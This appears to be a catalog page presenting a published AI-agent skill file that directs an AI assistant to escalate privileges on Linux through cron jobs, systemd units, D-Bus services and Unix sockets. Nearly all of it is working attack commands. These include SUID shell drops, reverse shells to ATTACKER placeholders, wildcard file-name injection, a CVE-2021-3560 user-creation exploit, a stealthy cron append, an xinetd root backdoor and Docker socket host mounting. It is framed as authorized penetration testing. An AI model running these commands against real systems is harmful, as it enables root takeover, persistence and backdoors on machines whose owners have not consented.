Linux Cron, Service, and D-Bus Exploitation
SkillSecurityExploit cron jobs, systemd timers/services, D-Bus services, and Unix sockets for privilege escalation.
Available today. Use it from your connected AI after setup.
No other account needed.
Connect ahel once, and every AI you use reads what you have installed.
Then ask your AI: use the Linux Cron, Service, and D-Bus Exploitation skill
What this skill tells your AI
The instructions your AI receives, as published by blacklanternsecurity/red-run in skills/privesc/linux-cron-service-abuse/SKILL.md and read by ahel’s review.
You are helping a penetration tester exploit scheduled tasks, services, and inter-process communication mechanisms for privilege escalation. All testing is under explicit written authorization.
Engagement Logging
Check for ./engagement/ directory. If absent, proceed without logging.
When an engagement directory exists:
- Print
[linux-cron-service-abuse] Activated → <target>to the screen on activation. - Evidence → save significant output to
engagement/evidence/with descriptive filenames (e.g.,sqli-users-dump.txt,ssrf-aws-creds.json).
State Management
Call get_state_summary() from the state MCP server to read current
engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)
Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)
Prerequisites
- Shell access on Linux target
- At least one of: writable cron script, wildcard in cron command, writable systemd unit, exploitable D-Bus service, writable Unix socket
- pspy recommended for discovering hidden scheduled tasks
Step 1: Assess Scheduled Task and Service Landscape
If not already provided by linux-discovery, enumerate:
# Cron jobs
crontab -l 2>/dev/null
cat /etc/crontab 2>/dev/null
ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/ 2>/dev/null
cat /etc/cron.d/* 2>/dev/null
# Systemd timers and services
systemctl list-timers --all --no-pager 2>/dev/null
systemctl list-units --type=service --state=running --no-pager 2>/dev/null
# Process monitoring (leave running)
./pspy64 -pf -i 1000
Classify findings and proceed to the relevant section below.
Step 2: Cron Job Exploitation
Writable Cron Script
If a root cron job executes a script you can modify:
# Verify write access
ls -la /path/to/cron_script.sh
# Option 1: SUID bash (persistent)
echo '#!/bin/bash
cp /bin/bash /tmp/rootbash
chown root:root /tmp/rootbash
chmod 4755 /tmp/rootbash' > /path/to/cron_script.sh
chmod +x /path/to/cron_script.sh
# Wait for cron execution, then:
/tmp/rootbash -p
# Option 2: Reverse shell (immediate access)
echo '#!/bin/bash
bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1' > /path/to/cron_script.sh
chmod +x /path/to/cron_script.sh
# Start listener: nc -lvnp PORT
# Option 3: Append to existing script (stealthier)
echo '' >> /path/to/cron_script.sh
echo 'cp /bin/bash /tmp/.rootbash && chmod 4755 /tmp/.rootbash' >> /path/to/cron_script.sh
PATH Manipulation in Cron
If a cron job calls a binary without a full path:
# Example crontab entry:
# * * * * * root backup_script
# Check cron PATH (first line of /etc/crontab)
head -5 /etc/crontab
# Default: PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# Find a writable directory that appears before the real binary in PATH
echo $PATH | tr ':' '\n' | while read d; do [ -w "$d" ] && echo "WRITABLE: $d"; done
# Create hijack binary in writable PATH directory
cat > /writable/path/backup_script << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash
# Run original to avoid breaking things
/usr/bin/backup_script "$@"
EOF
chmod +x /writable/path/backup_script
Writable Cron Directory Injection
If you can write to cron directories:
# Direct injection to /etc/cron.d/ (if writable)
cat > /etc/cron.d/exploit << 'EOF'
* * * * * root /bin/bash -c 'cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash'
EOF
# Or via crontab command (user crontab)
(crontab -l 2>/dev/null; echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER/PORT 0>&1'") | crontab -
Important: Cron files in /etc/cron.d/ must have correct permissions (644, owned
by root) or they may be ignored. User crontabs via crontab -e don't have this
restriction.
Step 3: Wildcard Injection
When a root-owned cron job or script uses wildcards (*) in commands, you can inject
arguments via specially-named files.
Tar Checkpoint Injection
Target pattern: tar czf backup.tar.gz * or tar czf backup.tar.gz /path/*
# Navigate to the directory where tar runs with wildcards
cd /path/to/target_directory
# Create payload script
cat > shell.sh << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod 4755 /tmp/rootbash
EOF
chmod +x shell.sh
# Create checkpoint injection files
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh shell.sh'
# When root's cron runs: tar czf backup.tar.gz *
# The * expands to include --checkpoint=1 and --checkpoint-action=exec=sh shell.sh
# tar executes shell.sh as root
Wait for execution, then: /tmp/rootbash -p
Chown/Chmod Reference File Injection
Target pattern: chown -R user:group * or chmod -R 755 *
cd /path/to/target_directory
# Create reference file that points to a file with desired ownership
touch -- '--reference=/etc/passwd'
# When root runs: chown nobody:nobody *
# The --reference flag overrides and sets ownership to match /etc/passwd (root:root)
Rsync Shell Injection
Target pattern: rsync -az * backup:/dest/
cd /path/to/target_directory
touch -- '-e sh shell.sh'
# When rsync processes *, the -e flag specifies a shell command
7-Zip File List Exfiltration
Target pattern: 7za a backup.7z *
cd /path/to/target_directory
ln -s /etc/shadow shadow.txt
touch @shadow.txt
# 7z interprets @file as "read filenames from file"
# Contents of /etc/shadow printed to stderr
Zip Test Injection
Target pattern: zip out.zip *
cd /path/to/target_directory
touch -- '-T'
touch -- '-TT sh shell.sh'
# zip -T runs a test, -TT specifies the test command
Step 4: Systemd Timer and Service Exploitation
Writable Service Files
# Find writable unit files
find /etc/systemd/system /usr/lib/systemd/system /lib/systemd/system -writable -type f 2>/dev/null
# Check specific service file permissions
ls -la /etc/systemd/system/<service>.service
Modify ExecStart to inject payload:
# Backup original (for cleanup)
cp /etc/systemd/system/target.service /tmp/target.service.bak
# Option 1: Replace ExecStart
sed -i 's|ExecStart=.*|ExecStart=/bin/bash -c "cp /bin/bash /tmp/rootbash \&\& chmod 4755 /tmp/rootbash"|' /etc/systemd/system/target.service
# Option 2: Add ExecStartPre for stealth (runs before main service)
sed -i '/\[Service\]/a ExecStartPre=/bin/bash -c "cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash"' /etc/systemd/system/target.service
# Reload and trigger
systemctl daemon-reload
systemctl restart target.service # If you have permission to restart
# Otherwise wait for next boot or timer trigger
Writable Timer Files
# If a timer file is writable, modify to trigger frequently
cat > /etc/systemd/system/exploit.timer << 'EOF'
[Unit]
Description=Exploit Timer
[Timer]
OnCalendar=*:*:00
Unit=exploit.service
[Install]
WantedBy=timers.target
EOF
cat > /etc/systemd/system/exploit.service << 'EOF'
[Unit]
Description=Exploit Service
[Service]
Type=oneshot
ExecStart=/bin/bash -c 'cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash'
EOF
systemctl daemon-reload
systemctl enable --now exploit.timer
Systemd PATH Hijack
# Check systemd environment PATH
systemctl show-environment | grep PATH
# If a service uses a relative binary path in ExecStart:
# ExecStart=myservice --flag
# And you can write to a directory in the systemd PATH before the real location:
echo '#!/bin/bash' > /writable/path/myservice
echo 'cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash' >> /writable/path/myservice
echo '/usr/bin/myservice "$@"' >> /writable/path/myservice
chmod +x /writable/path/myservice
Service Binary Replacement
# If the binary specified in ExecStart is writable
ls -la /path/to/service_binary
# Replace with payload (backup first)
cp /path/to/service_binary /tmp/service_binary.bak
cat > /path/to/service_binary << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash
/tmp/service_binary.bak "$@" # Run original
EOF
chmod +x /path/to/service_binary
Step 5: D-Bus Service Exploitation
D-Bus Enumeration
# List system bus services
busctl list 2>/dev/null
# Get service details (PID, UID — look for root-owned)
busctl status <service.name> 2>/dev/null
# List objects and interfaces
busctl tree <service.name> 2>/dev/null
# Introspect methods (find callable functions)
busctl introspect <service.name> /object/path 2>/dev/null
# Monitor D-Bus traffic
dbus-monitor --system 2>/dev/null &
Look for:
- Services running as root (UID=0 in
busctl status) - Methods that accept string parameters (command injection potential)
- Missing PolicyKit authorization checks
- Services with overly permissive D-Bus policies
# Check D-Bus policies for permissive rules
grep -rn 'allow' /etc/dbus-1/system.d/ /usr/share/dbus-1/system.d/ 2>/dev/null | grep -E 'send_destination|own'
D-Bus Command Injection
If a root-owned D-Bus service passes user input to system(), popen(), or similar:
# Using dbus-send
dbus-send --system --print-reply --dest=<service.name> /object/path \
<interface.name>.<MethodName> string:';cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash #'
# Using gdbus
gdbus call -y -d <service.name> -o /object/path \
-m <interface.name>.<MethodName> ';bash -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1" #'
# Using busctl
busctl call <service.name> /object/path <interface.name> <MethodName> s \
';cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash #'
Python D-Bus exploitation:
import dbus
bus = dbus.SystemBus()
obj = bus.get_object('<service.name>', '/object/path')
iface = dbus.Interface(obj, dbus_interface='<interface.name>')
# Command injection via string parameter
payload = ';bash -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1" #'
iface.MethodName(payload)
PolicyKit / Polkit Bypass
CVE-2021-4034 (PwnKit) — pkexec Local Privilege Escalation
Affected: PolicyKit pkexec < 0.120 (virtually all Linux distributions before Jan 2022 patches).
# Check version
pkexec --version
# Multiple public exploits:
# https://github.com/ly4k/PwnKit
# https://github.com/arthepsy/CVE-2021-4034
# Quick check (Python PoC)
python3 -c '
import ctypes, os, struct, sys
libc = ctypes.CDLL("libc.so.6")
libc.execve.argtypes = [ctypes.c_char_p, ctypes.POINTER(ctypes.c_char_p), ctypes.POINTER(ctypes.c_char_p)]
# Exploit uses empty argv to trigger out-of-bounds write
# See public PoCs for full implementation
'
Compiled exploits are more reliable — transfer a pre-compiled PwnKit binary.
CVE-2021-3560 — Polkit D-Bus Authentication Bypass
Affected: Polkit 0.113 - 0.118 (Ubuntu 20.04, RHEL 8, Fedora 21+).
# Trigger: send D-Bus request and kill it at the right moment
# The timing window causes polkit to authorize the request
# Create user with sudo privileges
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call \
--print-reply /org/freedesktop/Accounts \
org.freedesktop.Accounts.CreateUser string:hacker string:"Hacker" int32:1 &
# Kill after ~10-20ms
sleep 0.01 && kill $!
# Set password for new user
HASHED=$(openssl passwd -6 password123)
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call \
--print-reply /org/freedesktop/Accounts/User1001 \
org.freedesktop.Accounts.User.SetPassword string:"$HASHED" string:"" &
sleep 0.01 && kill $!
# Login as new user
su - hacker # password: password123
sudo bash
Note: Timing-dependent — may need multiple attempts. Loop until it works:
for i in $(seq 1 100); do
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call \
--print-reply /org/freedesktop/Accounts \
org.freedesktop.Accounts.CreateUser string:hacker string:"" int32:1 &
sleep 0.008
kill $! 2>/dev/null
done
Recent D-Bus CVEs
| CVE | Component | Impact | Exploitation |
|---|---|---|---|
| CVE-2024-45752 | logiops <=0.3.4 | Macro injection via LoadConfig | gdbus call -y -d org.freedesktop.Logiopsd -o /org/freedesktop/Logiopsd -m org.freedesktop.Logiopsd.LoadConfig "/tmp/evil.yml" |
| CVE-2025-23222 | Deepin dde-api-proxy <=1.0.18 | All D-Bus calls treated as UID 0 | Any method call via proxy runs as root |
| CVE-2025-3931 | yggdrasil <=0.4.6 | Arbitrary RPM install via Dispatch | dbus-send to com.redhat.yggdrasil Dispatch method |
Step 6: Unix Socket Exploitation
Socket Enumeration
# List Unix sockets
ss -lx 2>/dev/null || netstat -a -p --unix 2>/dev/null
find / -type s 2>/dev/null
# Check permissions (writable = exploitable)
find / -type s -writable 2>/dev/null
# Identify socket owners (root-owned = high value)
ls -la /var/run/*.sock /tmp/*.sock /tmp/*.s 2>/dev/null
Socket Protocol Analysis
Before injecting, determine the socket's protocol. Root-owned sockets may use custom protocols (length-prefixed JSON, line-delimited text, HTTP, protobuf):
# Probe with empty/minimal data — observe error messages for protocol clues
echo "" | socat - UNIX-CLIENT:/path/to/socket
echo "{}" | socat - UNIX-CLIENT:/path/to/socket
echo "help" | socat - UNIX-CLIENT:/path/to/socket
# For length-prefixed protocols, craft a proper header:
# Example: 4-byte big-endian length + JSON payload
python3 -c "
import struct, json, socket, sys
msg = json.dumps({'op':'status'}).encode()
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.connect('/path/to/socket')
s.send(struct.pack('>I', len(msg)) + msg)
print(s.recv(4096).decode())
"
If the service evaluates code (PHP, Lua, Python) from socket messages — e.g., a rule engine or sandbox — check whether the sandbox's config files (php.ini, policy files) are writable from your current user. Overwriting sandbox restrictions then re-triggering code evaluation can escalate to unrestricted execution as the socket owner.
Socket Command Injection
If a root-owned socket accepts commands without authentication:
# Test with socat
echo "id" | socat - UNIX-CLIENT:/path/to/socket
# Inject payload
echo "cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash; chmod +x /tmp/rootbash;" | \
socat - UNIX-CLIENT:/path/to/socket
# Using nc (if Unix socket support available)
echo ';bash -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1" #' | nc -U /path/to/socket
# Using curl (for HTTP-based sockets)
curl --unix-socket /path/to/socket http://localhost/api/exec -d '{"cmd":"id"}'
Docker Socket Exploitation
If /var/run/docker.sock is writable (docker group membership):
# Verify access
docker ps 2>/dev/null
# Mount host filesystem
docker run -v /:/host -it alpine chroot /host bash
# If docker CLI not available, use curl
curl -s --unix-socket /var/run/docker.sock http://localhost/images/json
curl -s --unix-socket /var/run/docker.sock -X POST \
"http://localhost/containers/create" \
-H "Content-Type: application/json" \
-d '{"Image":"alpine","Cmd":["/bin/sh"],"Binds":["/:/host"],"Privileged":true}'
Note: Docker socket exploitation is also covered in linux-file-path-abuse with additional group-based escalation paths.
Step 7: Init Script and At Job Exploitation
Writable Init Scripts
# Find writable init scripts
find /etc/init.d -writable -type f 2>/dev/null
ls -la /etc/rc.local 2>/dev/null
# Inject into writable init script
echo '' >> /etc/init.d/writable_service
echo '/bin/bash -c "cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash"' >> /etc/init.d/writable_service
# Inject into rc.local (if writable, runs at boot)
echo 'cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash' >> /etc/rc.local
chmod +x /etc/rc.local
Xinetd Service Injection
# If /etc/xinetd.d/ is writable
cat > /etc/xinetd.d/backdoor << 'EOF'
service backdoor
{
port = 9999
socket_type = stream
protocol = tcp
wait = no
user = root
server = /bin/bash
server_args = -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1"
disable = no
}
EOF
# Add to /etc/services if needed
echo "backdoor 9999/tcp" >> /etc/services
# Restart xinetd
systemctl restart xinetd 2>/dev/null || service xinetd restart 2>/dev/null
At Job Exploitation
# Schedule command (if at is available and allowed)
echo 'cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash' | at now + 1 minute
# Check at restrictions
cat /etc/at.allow 2>/dev/null
cat /etc/at.deny 2>/dev/null
# List pending at jobs
atq 2>/dev/null
Anacron Exploitation
# Check anacron config
cat /etc/anacrontab 2>/dev/null
# If anacron runs writable scripts in /etc/cron.daily/ etc.
# Same exploitation as writable cron scripts (Step 2)
Step 8: Escalate or Pivot
Troubleshooting
Cron job doesn't fire
Check cron daemon is running: systemctl status cron 2>/dev/null || systemctl status crond.
Verify cron file permissions (644 for /etc/cron.d/ files). Check cron logs:
grep CRON /var/log/syslog or journalctl -u cron. Use pspy to monitor.
Wildcard injection files not expanding
File names must be exact (including dashes): touch -- '--checkpoint=1'. The --
tells touch to stop processing options. Verify with ls -la that filenames start
with --. Also verify the cron command actually uses * glob expansion (not a
quoted path).
D-Bus method returns "not authorized"
PolicyKit is blocking. Check polkit rules in /usr/share/polkit-1/rules.d/ and
/etc/polkit-1/rules.d/. Consider CVE-2021-3560 timing attack if polkit version
is vulnerable. Some services have custom auth — check the service's D-Bus policy
file in /etc/dbus-1/system.d/.
Systemd daemon-reload requires root
If you cannot systemctl daemon-reload, modifications to service files won't take
effect until the next reboot or until a root process reloads systemd. Timer and
service modifications that don't require reload: modifying the script/binary that
ExecStart points to (not the unit file itself).
Socket not accepting connections
Check socket type (SOCK_STREAM vs SOCK_DGRAM) and use the correct tool.
For datagram sockets: socat - UNIX-SENDTO:/path/to/socket. Verify the socket
is actively listening: ss -lx | grep socket_name.
Signals
- GitHub stars
- 271
- Forks
- 38
- Last commit
- Apr 2026
Advanced
- Catalog kind
- skill
- Gateway key
linux-cron-service-abuse- Source
- github.com/blacklanternsecurity/red-run